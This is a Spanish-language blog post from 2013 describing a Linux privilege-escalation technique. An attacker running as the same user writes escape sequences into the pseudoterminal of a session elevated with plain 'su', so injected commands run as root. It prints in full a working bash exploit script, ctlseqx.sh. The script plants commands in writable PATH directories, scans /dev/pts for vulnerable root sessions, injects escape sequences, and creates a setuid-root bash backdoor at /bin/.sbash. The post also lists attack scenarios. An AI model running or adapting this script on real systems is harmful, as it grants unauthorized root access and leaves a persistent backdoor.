martes, 30 de abril de 2013

Una forma de elevar privilegios en linux

Hace algún tiempo escribí un par de posts en los que, mientras buscaba una forma de espiar la terminal de otro usuario, encontré también una manera para ejecutar comandos en su consola usando pseudoterminales y secuencias de escape.

Aprendido este nuevo truco, pense en buscar otros escenarios donde pudiera ser útil y es así como encontré una forma, algo rebuscada eso sí, de elevar privilegios en Linux.

Los detalles a continuación...

Permisos de la pseudoterminal

Lo que dió pie a esta idea fue una observación sobre los permisos de los ficheros en el directorio "/dev/pts". Como recordarán esos ficheros representan la entrada/salida de la pseudoterminal. Lo que sucede es que cuando un usuario abre una consola (como gnome-terminal por ejemplo) se crea un fichero en "/dev/pts" asociado a dicha consola. Como es de suponer este fichero deberá tener los permisos de lectura y escritura correspondientes para el usuario que abrió la consola y como se muestra en la siguiente imagen, así es.

Fig. 1 - Permisos de la pseudoterminal.

Sin embargo ¿Qué pasa con los permisos de ese fichero (pseudoterminal) si luego, en esa misma consola, el usuario eleva privilegios a root? Pues nada, simplemente se mantienen tal cual.

Fig. 2 - Permisos de la pseudoterminal luego de elevar privilegios.

Entonces, desde ese momento, cabe la posibilidad de que un usuario "no privilegiado" (en la imagen: "alguien") pueda escribir en la pseudoterminal de una consola que ahora esta ejecutando comandos como "root" (en la imagen: "/dev/pts/1") y, usando el truco de las secuencias de escape, conseguir elevar privilegios en el sistema.

Pero claro ¿Qué sentido puede tener que el usuario ("alguien") se "hackee" a si mismo escribiendo secuencias de escape en su propia pseudoterminal? Si asumimos que absolutamente todos los procesos que corren con los permisos de ese usuario son únicamente controlados por la misma persona, pues no tendría mucho sentido. Sin embargo, creo que en algunos escenarios podríamos estar asumiendo demasiado.

Posibles escenarios

El escenario que buscamos es uno en el cual tenemos una shell con los privilegios de otro usuario que sabe como elevar a "root" pero nosotros no lo sabemos.

Se me ocurren algunos casos:

1. Algunos administradores de servidores usan un usuario con mínimos privilegios para conectar con el sistema y luego elevan privilegios a "root" usando el comando "su" (e ingresando el password de root). Si un atacante consigue las credenciales del "usuario de conexión" estaría en el escenario descrito.

2. Podría existir una vulnerabilidad en alguno de los procesos que corren con los permisos de cierto usuario. Por ejemplo una vulnerabilidad en java explotable a través del navegador. Esto nos daría una shell con los permisos de ese usuario.

3. Algunos servidores web tienen configurados módulos (como suPHP por ejemplo) que permiten controlar los permisos de las páginas web dinámicas haciendo que se ejecuten con los permisos de cierto usuario distinto de "apache". Si además un administrador comete el error de conectar al servidor con ese mismo usuario, una vulnerabilidad web podría ponernos en el escenario buscado.

Nota: En estos mismos escenarios también se pueden probar otros vectores de elevación de privilegios como revisar el fichero ".bash_history" por si se dejaron allí algún password o alguna treta como la del "fake su".

Problemas

Bien, suponiendo que estamos en un escenario favorable para aplicar esta forma de "elevar privilegios". Aún tenemos unos inconvenientes.

Cuando vimos el truco de ejecutar comandos en otra terminal mediante secuencias de escape. Asumíamos que eramos "root" y por tanto podíamos escribir en cualquier directorio que esté en el PATH para que así el "comando" inyectado sea reconocido como válido y se ejecute. En este caso ya no somos "root" y por tanto no podemos escribir en cualquier directorio ¿Qué podemos hacer?

Felizmente, en muchas distros de linux, se configura un PATH personalizado para cada usuario mediante el archivo .profile, .bash_profile o .bashrc en el home del usuario respectivo. Además se suele añadir al PATH un directorio "bin" dentro del home del usuario (y si no, podemos añadirlo editando esos ficheros). Por tanto podemos usar ese directorio "bin" para guardar ahí los scripts a ejecutar.

El otro problema es que cuando un usuario eleva privilegios a "root" puede ser que la configuración de la variable PATH cambie quitando de la lista el directorio "bin" donde tenemos permisos de escritura. Digamos que la forma "vulnerable" de elevar privilegios es cuando se ejecuta el comando "su" sin el modo "login", en ese caso NO se reconfigura el PATH. Las formas NO vulnerables podrían ser "su -", "su -l" y "su --login".

Nota: Esto lo he probado en Centos y Fedora (asumo que funciona también en RedHat). En debian (y derivados) incluso si se emplea "su" (sin modo login) para elevar privilegios, no se mantiene el PATH del usuario sino que la variable es reseteada y se carga un PATH configurado en "/etc/login.defs". Más info: http://manpages.debian.net/cgi-bin/man.cgi?query=su

ctlseqx.sh en acción

Para automatizar esto, programé un script en bash que busca terminales que estén corriendo como "root" y donde tengamos permisos de escritura. Luego crea un script en un directorio del PATH y envía las secuencias de escape a la terminal del otro usuario para conseguir que ejecute el script. Finalmente este script crea una copia de "/bin/bash" con con el permiso "suid" que podemos ejecutar para tener una consola de root.

Sin más les dejo el script aquí:

ctlseqx.sh
#!/bin/bash

backdoor="/bin/.sbash";
check_delay=20;

function create_command() {
 if [ -f ~/.bash_profile ]; then source ~/.bash_profile; fi
 if [ -f ~/.profile ]; then source ~/.profile; fi
 if [ -f ~/.bashrc ]; then source ~/.bashrc; fi
 
 ok=false;
 IFS=':';
 for dir in $PATH; do
  if [ ! -f $dir/n ]; then
   cat 2>/dev/null 1>$dir/n  << EOF
#!/bin/bash
if [ \`whoami\` == "root" ] && [ ! -f $backdoor ]; then
 cp /bin/bash $backdoor;
 chmod 4777 $backdoor;
fi
EOF
   if [ -f $dir/n ]; then
    chmod +x $dir/n;
    ln -s $dir/n $dir/1R;
    ln -s $dir/n $dir/1Rn;
    echo "Command created in \"$dir\"";
    ok=true;
   fi
  fi
 done
 if [ ! $ok ]; then
  echo "Can't create command.";
  exit 1;
 fi
}

function exploit() {
 pts=$1;
 if [ ! -f $backdoor ]; then
  echo -e "\e[5n\e[10;1H\e[6n\e[10;1H\e[6n" > $pts; # n;1R;1R
  sleep 0.1;
  echo -e "\ec" > $pts;
  echo "Press ENTER key to continue..." > $pts;
 fi
}

function check() {
 my_user=`whoami`;
 my_pts=`tty`;
 terms=`find /dev/pts -user $my_user`;
 IFS=$'\n';
 for pts in $terms; do
  if [ "$pts" != "$my_pts" ]; then
   pts_name=`echo $pts | cut -d / -f 3-`;
   aux=`echo $pts_name | sed "s/\\//\\\\\\\\\\//g"`;
   cmd_lines=`ps -u root -o tty,cmd | grep $pts_name | sed "s/ *$aux *//"`;
   IFS=$'\n';
   for cmd in $cmd_lines; do
    if [[ $cmd =~ ^\ *su(\ +.*)?$ ]]; then
     if [[ ! $cmd =~ \ +(-|-l|--login)(\ +.*)?$ ]]; then
      echo "Found vulnerable call \"$cmd\" on \"$pts\"";
      exploit $pts
     fi
    fi
   done
  fi
 done
}

function clean() {
 if [ -f ~/.bash_profile ]; then source ~/.bash_profile; fi
 if [ -f ~/.profile ]; then source ~/.profile; fi
 if [ -f ~/.bashrc ]; then source ~/.bashrc; fi
 IFS=':';
 for dir in $PATH; do
  if [ -f $dir/n ] || [ -f $dir/1R ] || [ -f $dir/1Rn ]; then
   rm -f $dir/n;
   rm -f $dir/1R;
   rm -f $dir/1Rn;
   if [ ! -f $dir/n ]; then
    echo "File deleted \"$dir/n\"";
   fi
   if [ ! -f $dir/1R ]; then
    echo "File deleted \"$dir/1R\"";
   fi
   if [ ! -f $dir/1Rn ]; then
    echo "File deleted \"$dir/1Rn\"";
   fi
  fi
 done
 if [ -f $backdoor ]; then
   rm -f $backdoor;
   if [ ! -f $backdoor ]; then
    echo "File deleted \"$backdoor\"";
   fi
 fi
 echo "Finished cleaning.";
}

function attack() {
 create_command;
 while [ ! -f $backdoor ]; do
  sleep $check_delay;
  check;
 done
 $backdoor -p
}

function usage() {
 echo -e "\nUSAGE:";
 echo -e "\t$1 <ACTION>\n";
 echo -e "ACTIONS:";
 echo -e "\tattack\t:\tStart attack.";
 echo -e "\tclean\t:\tDelete created files.";
}

if [ "$1" == "attack" ]; then
 attack;
elif [ "$1" == "clean" ]; then
 clean;
else
 usage $0;
fi

Y una demo en vídeo


Un saludo.

1 comentario: